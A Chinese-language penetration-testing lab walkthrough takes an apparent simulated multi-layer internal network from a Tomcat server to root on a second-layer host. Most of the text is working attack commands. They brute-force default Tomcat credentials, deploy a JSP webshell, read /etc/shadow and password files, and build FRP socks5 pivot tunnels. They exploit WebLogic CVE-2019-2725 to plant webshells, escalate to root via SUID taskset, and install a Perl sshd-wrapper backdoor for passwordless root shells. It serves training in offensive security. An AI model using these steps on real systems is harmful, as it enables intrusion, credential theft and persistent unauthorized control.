一次内网渗透实战(超详细)
实验原理
本实验提供了一个综合性的多层内网渗透测试虚拟仿真实验环境,通过对外网WEB网站功能的分析测试,寻找到从管理后台弱口令到利用管理后台应用部署功能上传恶意木马,从而获得外网WEB服务器权限的攻击路径,然后通过对WEB服务器的信息收集,寻找到进入内网的途径,从而对内部网络中的主机进行测试,利用内网主机中的远程命令执行漏洞获得内网主机权限,并寻找到进入其他内部网段的路径,通过搭建多层socks代理通道,实现从外网直接访问多层内网中的主机,并结合收集到的账号密码信息,对目标多层内网中的主机进行攻击测试,并拿下其普通用户权限,利用其普通权限寻找到获得root权限的方法,成功得到主机最高权限,并最终,通过留下的SSH服务后门实现对目标服务器的持久化控制。
实验环境
实验步骤一 >>> 从攻击主机访问靶机
从攻击主机访问目标靶机,进入靶机WEB网站页面。
1.1 进入攻击机
打开火狐浏览器,输入URL地址:
http://10.1.1.121:8080
访问靶机WEB网站页面,发现目标是一个Tomcat服务,版本为8.0.43:
1.2 使用目录扫描工具对网站进行扫描
这里我们使用kali系统中已经安装好的目录扫描工具dirb,来发现目标WEB站点的其他目录页面:
dirb http://10.1.1.121:8080
1.3 发现Tomcat管理后台页面
通过上一步的目录扫描,对每一个目录页面一一进行访问,发现manager、host-manager等页面:
http://10.1.1.121:8080/manager/html
http://10.1.1.121:8080/host-manager/html
但是需要进行http基础身份认证,才能正确访问内容:
实验步骤二 >>> 服务器管理后台的弱口令爆破
2. 服务器管理后台的弱口令爆破
2.1 Tomcat弱口令猜解
使用kali自带的tomcat默认账号密码字典,通过对tomcat管理后台密码口令进行猜测攻击
cat /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt
cat /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt
在猜测过程中,验证失败,则会跳转到Tomcat服务的401页面:
一一尝试后,成功得到账号密码,进入管理后台页面。
2.2 成功登录进入Tomcat管理后台
2.3 Tomcat应用部署上传webshell
往下翻,找到tomcat项目部署功能,此功能允许用户通过上传war包,来部署自己的应用项目
实验步骤三 >>> 构造和使用Webshell获得服务器访问权限
3. 构造和使用Webshell获得服务器访问权限
3.1 制作恶意木马
利用蚁剑的jsp木马,制作生成包含jsp木马的ant.war包:
cd /root/Desktop
mkdir ant
cp ant.jsp ant
cd ant
jar -cvf ant.war .
3.2 上传恶意木马
利用管理后台上传部署war包的功能,上传部署制作的含有恶意木马的ant.war包
war包部署后会在Tomcat的WEB根目录创建解压生成一个ant文件夹,war包中的恶意木马ant.jsp在ant文件夹下,因此我们上传的WebShell地址为:
http://10.1.1.121:8080/ant/ant.jsp
3.3 获取并访问Webshell
启动Webshell工具 中国蚁剑 (antsword)
cd /root/Desktop/antsword/
./AntSword
添加数据,输入URL地址:http://10.1.1.121:8080/ant/ant.jsp ,密码:ant,保存即可得到Tomcat服务器的访问权限。
实验步骤四 >>> 服务器敏感信息收集
4. 服务器敏感信息收集
4.1 Tomcat服务器信息收集
通过蚁剑工具连接Webshell后执行命令、查看文件,获取tomcat服务器信息,如:所在IP段、开放的服务、敏感信息等
4.2 查看主机IP及运行服务信息
用于获取当前主机所在内网IP段,及当前主机,所运行的服务信息
ip addr
ps -elf
4.3 查看主机所有用户信息
可以获取到所有用户信息,可能存在因配置不当导致的特权用户及用户的密码信息等。
cat /etc/passwd
cat /etc/shadow
4.4 查找系统中所有的敏感信息文件
用于寻找存放在系统内的敏感文件,如包含用户密码、服务访问密码等敏感信息的文件
find / -name *pass* -type f
find / -name *admin* -type f
实验步骤五 >>> 发现一层内网主机并实施内网穿透
5. 发现一层内网主机并实施内网穿透
5.1 获取内网存活主机
注意:所需工具都在攻击机桌面 /root/Desktop。
上传工具,使用ladon64工具扫描探测172.22.0.0/24网段,判断内网存活主机IP
cd /tmp
chmod +x ladon64
./ladon64 172.22.0.0/24 icmpscan
得到内网网段存活主机IP:172.22.0.20
5.2 内网穿透:通过FRP建立Socks5代理
5.2.1 上传FRP工具及配置
通过蚁剑的文件管理功能,上传相关工具文件到tomcat服务器的/tmp目录
给FRP程序文件可执行权限
cd /tmp
chmod +x frp*
5.2.2 修改frpc配置文件
修改frpc配置文件如下:
[common] # 理解为注释,对应配置的说明注释
server_addr = 10.1.1.119 # frps服务端IP
server_port = 7000 # frps服务端端口
[socks5] # 理解为注释,对应配置的说明注释
type = tcp # 代理数据协议类型
plugin = socks5 # 启用frp的socks5代理插件
remote_port = 5000 # socks5代理端口
[common]
server_addr = 10.1.1.119
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 5000
5.2.3 运行frps
在攻击机上运行frps服务
cd /root/Desktop/frp # 切换到frp工具目录
./frps -c frps.ini # 通过-c选项指定frps配置文件
服务默认监听在本地的7000端口,如果想要更改监听端口,可以通过更改frps.ini配置文件来实现。
[common]
bind_port = 7000 # frps服务绑定监听的端口
5.2.4 运行frpc
在获得shell的Tomcat服务器上执行frpc客户端
cd /tmp
./frpc -c frpc.ini # 通过-c选项指定frpc配置文件
5.2.5 攻击机监听代理端口
在Tomcat服务器上执行的frpc客户端与攻击机上启动的frps服务端,建立连接之后,会创建一个socks5代理通道,在frps服务端所在攻击机,监听一个代理端口。使用哪个端口作为socks5代理端口由frpc.ini配置文件中的参数remote_port指定,这里我们指定的是5000端口。
5.3 访问内网存活主机
5.3.1 命令行proxychains代理工具
使用代理工具proxychains通过建立的socks5代理通道访问内网存活主机IP。
编辑修改proxychains配置文件
leafpad /etc/proxychains.conf
在文件末尾注释掉默认有的socks4配置项,添加如下配置:
socks5 127.0.0.1 5000
5.3.2 浏览器FoxyProxy代理插件
打开firefox浏览器,直接访问内网IP172.22.0.10:8080是无法访问到的,我们通过浏览器插件FoxyProxy配置浏览器的请求走我们使用FRP所建立的socks5代理通道,通过此代理通道,代理请求内网IP的8080端口的http请求,从而实现通过浏览器访问内网WEB服务的目的。
实验步骤六 >>> 内网扫描发现内网服务
6. 内网扫描发现内网服务
通过扫描一层内网,发现内网Weblogic服务器
通过步骤五建立的socks代理通道,我们可以在外网的攻击机,访问到原本无法访问的目标内网主机,那么我们下一步就可以对内网进行攻击测试。
6.1 nmap内网存活主机端口扫描
通过socks代理工具,代理nmap流量到内网,对内网主机开放的端口进行扫描
注意,socks5是无法代理icmp协议请求的,因此,我们需要把icmp的请求禁止走我们建立的socks代理,来防止正常请求发送出错或无法发送。在nmap中,我们可以使用-Pn选项:
proxychains nmap -Pn -sT -T4 172.22.0.20
-Pn:禁ping
-sT:tcp连接探测端口
-T4:加快请求连接速度
发现开放weblogic服务的默认端口7001
6.2 ladon64工具扫描内网weblogic
ladon64 172.22.0.20 t3scan
探测发现Weblogic版本为Weblogic:10.3.6.0
6.3 访问内网主机Weblogic网站页面
6.3.1 打开firefox浏览器,配置浏览器走frp代理
发现并访问内网主机开放的Weblogic服务端口,通过配置浏览器代理,可访问到攻击机原本访问不到的内网Weblogic服务
实验步骤七 >>> 远程命令执行漏洞利用
7. 远程命令执行漏洞利用
通过利用WebLogic的远程命令执行漏洞,上传恶意木马,得到命令执行权限
7.1 Weblogic漏洞检测
使用Weblogic漏洞检测脚本进行漏洞发现
cd /root/Desktop/weblogicscan
cp fake_useragent_0.1.11.json /tmp/
proxychains python3 WeblogicScan.py -u 172.22.0.20 -p 7001
发现目标存在CVE-2019-2725漏洞
7.2 Weblogic漏洞利用
使用脚本利用CVE-2019-2725漏洞
7.2.1 远程命令执行
cd /root/Desktop
proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/ whoami
7.2.2 上传webshell小马
proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/
webshell地址:http://172.22.0.20:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ifconfig
7.3 蚁剑Webshell上传
由于上一步中通过利用Weblogic的远程命令执行漏洞上传的Webshell只能进行命令的执行,而无法通过中国蚁剑等Webshell管理工具做更多的操作,因此,我们需要上传一个蚁剑Webshell
7.3.1 利用内网Tomcat服务下发蚁剑Webshell
使用蚁剑文件管理功能,进入Tomcat服务器/usr/local/tomcat/webapps/ant/目录,新建ant.txt文件,复制ant.jsp文件内容到ant.txt文件中
因为Tomcat和Weblogic服务器在同一个网段,可以互相访问,在Weblogic服务器上可以通过如下URL访问ant.txt文件
http://172.22.0.10:8080/ant/ant.txt
7.3.2 通过命令执行下载蚁剑Webshell
通过命令执行下载我们放在Tomcat服务器上的ant.txt文件到Weblogic网站目录:
http://172.22.0.20:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=wget http://172.22.0.10:8080/ant/ant.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/ant.jsp
蚁剑Webshell地址:http://172.22.0.20:7001/bea_wls_internal/ant.jsp
7.3.3 蚁剑连接Webshell
打开一个新的蚁剑窗口并配置socks5代理,找到 AntSword > 代理设置 > 手动设置代理 > 选择socks5代理协议 > 填写代理服务器IP > 填写代理服务端口 > 保存。注意,保存时会提示重启中国蚁剑。
蚁剑重启之后,添加上传到Weblogic服务器的Webshell连接:
此时,我们就可以直接访问到内网Weblogic服务器,并进行操作了。
实验步骤八 >>> 攫取二层内网的敏感信息
8. 攫取二层内网的敏感信息
8.1 内网WebLogic服务器信息收集
通过蚁剑工具连接Webshell后执行命令、查看文件,获取WebLogic服务器信息,如:所在IP段、开放的服务、敏感信息等
whoami # 查看当前用户权限
ip addr # 查看当前主机IP 172.26.0.20
ps -elf # 查看当前主机运行的服务
find / -name *pass* # 查找主机系统中包含pass字符的所有文件名
在/root目录下发现一个pass.txt文件
cat /root/pass.txt
base64解密得到一组账号密码
8.2 获取二层内网存活主机
上传ladon64检测工具,获取内网存活主机IP
cd /tmp
chmod +x ladon64
./ladon64 172.26.0.0/24 icmpscan
发现内网存活主机IP:172.26.0.30
实验步骤九 >>> 穿透二层内网并发现关键服务
9. 穿透二层内网并发现关键服务
在步骤五中,使用FRP建立一个socks5代理通道,来把我们访问内网Weblogic服务的请求代理到172.22网段,此时Tomcat服务器是我们从外网访问内部网络的一个跳板,也就是跳板机;
但是现在由于在步骤八所发现的内网主机172.26.0.30与Tomcat服务器172.22.0.10处于不同的网络,也就是说,在没有手动设置路由的情况下,它们之间是无法互相访问的;
因此我们继续使用步骤五中搭建的socks5代理通道是无法访问到172.26.0.30主机的;
那么,怎么解决这个问题呢?
因为我们步骤七所拿下的Weblogic服务器不仅可以访问到Tomcat服务器,也可以访问到172.26.0.30主机,因此我们可以利用它来实现访问在二层的内网网段172.26
下面我们一起来学习,如何通过frp代理工具,建立二层socks5代理,从而实现访问二层内网
9.1 上传工具文件到Weblogic服务器
上传frpc、frpc.ini到Weblogic服务器
修改frpc.ini为如下:
[common]
server_addr = 172.22.0.10
server_port = 7000
[socks5_2]
type = tcp
plugin = socks5
remote_port = 6666
9.2 Tomcat服务器新建frpc2.ini配置文件
frpc2.ini:
[common]
server_addr = 10.1.1.119
server_port = 7000
[socks5_1]
type = tcp
plugin = socks5
remote_port = 5000
[socks5_to_26]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 6000
此配置文件的作用为:以Tomcat服务器为跳板机,转发从攻击机的6000端口传输过来的流量请求到本地的6666端口,而本地的6666端口为Tomcat与Weblogic服务器之间建立的socks代理通道的入口,也就相当于,把外网的请求流量,通过Tomcat跳板机,转发到Weblogic服务器所在的二层内网。
9.3 Tomcat服务器运行frpc
在运行frpc之前,需要先把之前建立一层socks5代理时启动的frpc进程停止,然后再用如下命令指定新的frpc配置文件启动新的frpc进程
cd /tmp
ps -elf|grep frpc
kill 60 # 这里的60为上一个命令所查询到的frpc进程id,根据实际情况替换
./frpc -c frpc2.ini
9.4 Tomcat服务器运行frps
为了建立二层socks5代理,需要在Tomcat服务器上启动一个frps服务端,然后在Weblogic服务器上启动连接此frps的frpc客户端,从而使Tomcat与Weblogic服务器之间建立一个socks5代理通道,用于流量数据传输。
cd /tmp
./frps -c frps.ini
9.5 Weblogic服务器运行frpc
运行frpc客户端连接Tomcat服务器启动的frps服务端,建立socks5代理通道,代理通道入口为Tomcat服务器的6666端口:
cd /tmp
./frpc -c frpc.ini
可以看到攻击机监听了两个socks5代理端口,5000端口为代理访问一层内网网段172.22.0.0/16,6000端口为代理访问二层内网网段172.26.0.0/16。
从处于外网的攻击机上发送到二层内网网段172.26.0.0/16的请求数据,其数据流向为:
attack攻击机 --> socks5:127.0.0.1:6000 --> tomcat服务器 --> socks5:127.0.0.1:6666 --> Weblogic服务器 --> Dev服务器
9.6 攻击机配置proxychains代理
攻击机配置proxychains代理访问二层内网主机
编辑proxychains配置文件
leafpad /etc/proxychains.conf
注释掉末尾之前的socks5代理配置,添加如下配置内容:
socks5 127.0.0.1 6000
9.7 内网存活主机端口扫描
通过socks代理工具,代理nmap流量到内网,对二层内网主机开放的端口进行端口扫描
proxychains nmap -Pn -sT -T4 172.26.0.30
发现开放远程连接SSH端口22
实验步骤十 >>> 获得二层内网主机的普通用户访问权限
10. 获得二层内网主机的普通用户访问权限
10.1 SSH登录获得二层内网主机访问权限
尝试通过在步骤八发现的普通用户simadmin的账号密码进行登录,成功登录,得到内网dev服务器访问权限
清空known_hosts文件内容:
echo > /root/.ssh/known_hosts
通过proxychains工具代理SSH连接二层内网dev服务器:
proxychains ssh simadmin@172.26.0.30
10.2 二层内网主机信息收集
通过对目标主机进行信息收集,发现存在拥有SUID特殊权限的程序taskset
代理连接内网dev服务器的SSH服务:
proxychains ssh simadmin@172.26.0.30
连接后默认是sh shell外壳,切换为bash shell外壳,会更方便操作:
bash
查找系统中所有具有SUID权限的文件:
find / -perm -u=s -type f
实验步骤十一 >>> 权限提升(Root权限)
11. 权限提升(Root权限)
Linux系统的最高权限为root,普通用户对系统的某些操作会被受到限制,但是root用户可以完全操作Linux系统,因此,我们想要对系统做更多的操作,就需要得到系统的root权限。
利用具有SUID权限的taskset从simadmin普通用户权限提权到root权限;
更多的SUID权限利用可查看:https://gtfobins.github.io/
ls -la /usr/bin/taskset
whoami # simadmin
taskset 1 /bin/bash -p
whoami # root
实验步骤十二 >>> 权限持久化(后门)
12. 权限持久化(后门)
为了能够持续的对目标进行控制,我们可以通过在目标机器上留下一个后门,方便我们下次继续控制目标,并得到root权限。
利用SSH Server Wrapper技术,在dev服务器留下SSH登录后门,
cd /usr/sbin/
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
可无需密码获得目标主机root用户权限:
echo "ls" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "whoami" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "ip addr" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
这里因为中国蚁剑的模拟终端会自动的把进程放到后台,因此,无法直接在终端中与我们留下的后门进行命令交互,这里采用管道|的方法,把要执行的命令重定向到与后门的连接中,并返回执行后的结果:
注意:因为每执行一次命令需要连接我们的后门,然后执行命令,返回结果,因此在执行下个命令时,需要稍微等待几秒时间,等待上次连接关闭,然后才能继续执行命令,否则会出现如下图所示错误:Address already in use。
当然,如果我们是在前台执行的话,是可以得到一个交互式shell的,如下图:
OKK到此结束